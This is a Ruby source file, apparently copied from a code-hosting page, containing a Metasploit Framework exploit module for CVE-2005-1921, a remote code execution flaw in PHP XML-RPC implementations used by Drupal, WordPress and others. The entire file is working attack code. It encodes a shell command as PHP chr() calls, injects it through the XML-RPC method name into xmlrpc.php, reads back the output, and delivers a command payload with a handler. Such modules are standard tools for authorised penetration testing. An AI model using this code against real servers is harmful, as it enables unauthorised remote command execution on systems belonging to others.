126 lines
3.3 KiB
Ruby
126 lines
3.3 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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# XXX This module needs an overhaul
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'PHP XML-RPC Arbitrary Code Execution',
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'Description' => %q{
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This module exploits an arbitrary code execution flaw
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discovered in many implementations of the PHP XML-RPC module.
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This flaw is exploitable through a number of PHP web
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applications, including but not limited to Drupal, Wordpress,
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Postnuke, and TikiWiki.
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},
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'Author' => [ 'hdm', 'cazz' ],
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'License' => MSF_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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['CVE', '2005-1921'],
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['OSVDB', '17793'],
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['BID', '14088'],
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],
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'Privileged' => false,
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'Platform' => ['unix', 'solaris'],
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'Payload' => {
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'Space' => 512,
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'DisableNops' => true,
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'Keys' => ['cmd', 'cmd_bash'],
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},
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'Targets' => [ ['Automatic', { }], ],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Jun 29 2005'
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))
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register_options(
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[
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OptString.new('PATH', [ true, "Path to xmlrpc.php", '/xmlrpc.php']),
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], self.class)
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deregister_options(
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'HTTP::junk_params', # not your typical POST, so don't inject params.
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'HTTP::junk_slashes' # For some reason junk_slashes doesn't always work, so turn that off for now.
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)
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end
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def go(command)
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encoded = command.unpack("C*").collect{|x| "chr(#{x})"}.join('.')
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wrapper = rand_text_alphanumeric(rand(128)+32)
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cmd = "echo('#{wrapper}'); passthru(#{ encoded }); echo('#{wrapper}');;"
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xml =
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'<?xml version="1.0"?>' +
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"<methodCall>" +
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"<methodName>"+ rand_text_alphanumeric(rand(128)+32) + "</methodName>" +
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"<params><param>" +
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"<name>" + rand_text_alphanumeric(rand(128)+32) + "');#{cmd}//</name>" +
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"<value>" + rand_text_alphanumeric(rand(128)+32) + "</value>" +
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"</param></params>" +
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"</methodCall>";
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res = send_request_cgi({
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'uri' => datastore['PATH'],
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'method' => 'POST',
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'ctype' => 'application/xml',
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'data' => xml,
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}, 5)
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if (res and res.body)
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b = /#{wrapper}(.*)#{wrapper}/sm.match(res.body)
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if b
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return b.captures[0]
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elsif datastore['HTTP::chunked'] == true
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b = /chunked Transfer-Encoding forbidden/.match(res.body)
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if b
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raise RuntimeError, 'Target PHP installation does not support chunked encoding. ' +
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'Support for chunked encoded requests was added to PHP on 12/15/2005. ' +
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'Try disabling HTTP::chunked and trying again.'
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end
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end
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end
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return nil
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end
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def check
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response = go("echo ownable")
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if (!response.nil? and response =~ /ownable/sm)
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return Exploit::CheckCode::Vulnerable
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end
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return Exploit::CheckCode::Safe
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end
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def exploit
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response = go(payload.encoded)
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if response == nil
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print_error('exploit failed: no response')
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else
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if response.length == 0
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print_status('exploit successful')
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else
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print_status("Command returned #{response}")
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end
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handler
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end
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end
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end
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